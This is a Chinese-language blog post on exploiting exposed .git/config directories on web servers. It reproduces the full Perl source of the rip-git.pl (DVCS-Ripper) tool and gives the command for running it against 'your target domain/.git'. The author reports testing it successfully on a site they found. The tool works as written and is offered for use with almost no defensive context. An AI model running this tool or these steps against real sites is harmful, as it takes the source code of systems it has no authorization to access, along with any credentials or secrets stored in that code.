关于.git/config文件泄漏的利用方式

最开始的时候也是从乌云得知有这么一个漏洞,很多不了解的可能看了就会觉得有点迷茫,其实这个漏洞和svn泄漏有那么一点类似,同样可以根据配置文件还原整个项目的一个过程。

根据漏洞:http://www.wooyun.org/bugs/wooyun-2014-076372的提示,找到了利用工具:rip-git.pl。

基于perl开发,使用之前需要先配置perl环境。

这里我就直接贴代码出来了:rip-git.pl


#!/usr/bin/perl

use strict;

use LWP;
use LWP::UserAgent;
use HTTP::Request;
use Getopt::Long;

my $configfile="$ENV{HOME}/.rip-git";
my %config;
$config{'branch'} = "master";
$config{'gitdir'} = ".git";
$config{'agent'} = 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10.7; rv:10.0.2) Gecko/20100101 Firefox/10.0.2';
$config{'verbose'}=0;
$config{'checkout'}=1;

if (-e $configfile) {
open(CONFIG,"<$configfile") or next;
while (<CONFIG>) {
chomp; # no newline
s/#.*//; # no comments
s/^\s+//; # no leading white
s/\s+$//; # no trailing white
next unless length; # anything left?
my ($var, $value) = split(/\s*=\s*/, $_, 2);
$config{$var} = $value;
}
close(CONFIG);
}

Getopt::Long::Configure ("bundling");

my $result = GetOptions (
"a|agent=s" => \$config{'agent'},
"b|branch=s" => \$config{'branch'},
"u|url=s" => \$config{'url'},
"c|checkout!" => \$config{'checkout'},
"s|verifyssl!" => \$config{'verifyssl'},
"v|verbose+" => \$config{'verbose'},
"h|help" => \&help
);

my @gitfiles=(
"COMMIT_EDITMSG",
"config",
"description",
"HEAD",
"index",
"packed-refs"
);

my @commits;
my $ua = LWP::UserAgent->new;
$ua->agent($config{'agent'});

my $gd=$config{'gitdir'}."/";

mkdir $gd;

print STDERR "[i] Downloading git files from $config{'url'}\n" if ($config{'verbose'}>0);

foreach my $file (@gitfiles) {
my $furl = $config{'url'}."/".$file;
getfile($file,$gd.$file);
}

mkdir $gd."logs";
mkdir $gd."logs/refs";
mkdir $gd."logs/refs/heads";
mkdir $gd."logs/refs/remotes";

mkdir $gd."objects";
mkdir $gd."objects/info";
mkdir $gd."objects/pack";

getfile("objects/info/alternates",$gd."objects/info/alternates");

mkdir $gd."info";
getfile("info/grafts",$gd."info/grafts");

my $res = getfile("logs/HEAD",$gd."logs/HEAD");

my @lines = split /\n/, $res->content;
foreach my $line (@lines) {
my @fields=split(/\s+/, $line);
my $ref = $fields[1];
getobject($gd,$ref);
}

mkdir $gd."refs";
mkdir $gd."refs/heads";
my $res = getfile("refs/heads/".$config{'branch'},$gd."refs/heads/".$config{'branch'});
mkdir $gd."refs/remotes";
mkdir $gd."refs/tags";

my $pcount=1;
while ($pcount>0) {
print STDERR "[i] Running git fsck to check for missing items\n" if ($config{'verbose'}>0);
open(PIPE,"git fsck |") or die "cannot find git: $!";
$pcount=0;
while (<PIPE>) {
chomp;
if (/^missing/) {
my @getref = split (/\s+/);
getobject($gd,$getref[2]); # 3rd field is sha1
$pcount++;
}
}
close(PIPE);
print STDERR "[i] Got items with git fsck: $pcount\n" if ($config{'verbose'}>0);
}

if ($config{'checkout'}) {
system("git checkout -f");
}
sub getobject {
my ($gd,$ref) = @_;
my $rdir = substr ($ref,0,2);
my $rfile = substr ($ref,2);
mkdir $gd."objects/$rdir";
getfile("objects/$rdir/$rfile",$gd."objects/$rdir/$rfile");
}

sub getfile {
my ($file,$outfile) = @_;
my $furl = $config{'url'}."/".$file;
my $req = HTTP::Request->new(GET => $furl);
# Pass request to the user agent and get a response back
my $res = $ua->request($req);
if ($res->is_success) {
print STDERR "[d] found $file\n" if ($config{'verbose'}>0);;
open (out,">$outfile") or die ("cannot open file: $!");
print out $res->content;
close (out);
} else {
print STDERR "[!] Not found for $file: ".$res->status_line."\n"
if ($config{'verbose'}>0);
}
return $res;
}

sub help {
print "DVCS-Ripper: rip-git.pl. Copyright (C) Kost. Distributed under GPL.\n\n";
print "Usage: $0 [options] -u [giturl] \n";
print "\n";
print " -c perform 'git checkout -f' on end (default)\n";
print " -b <s> Use branch <s> (default: $config{'branch'})\n";
print " -a <s> Use agent <s> (default: $config{'agent'})\n";
print " -s verify SSL cert\n";
print " -v verbose (-vv will be more verbose)\n";
print "\n";

print "Example: $0 -v -u http://www.example.com/.git/\n";
print "Example: $0 # with url and options in $configfile\n";

exit 0;
}

使用并不困难,我不会perl,稍微看了下使用说明:

注意这一句:print “Example: $0 -v -u http://www.example.com/.git/\n”; 大概形式就是文件名 -v -u url。

将上面的代码保存成1.pl,然后在cmd下执行:perl 1.pl -v -u http://域名,此处替换成你的目标域名/.git。

昨晚找到一个地址测了一下:)可以复现:

git

 

本文来自:梧桐雨软件园原创,转载请注明出处。



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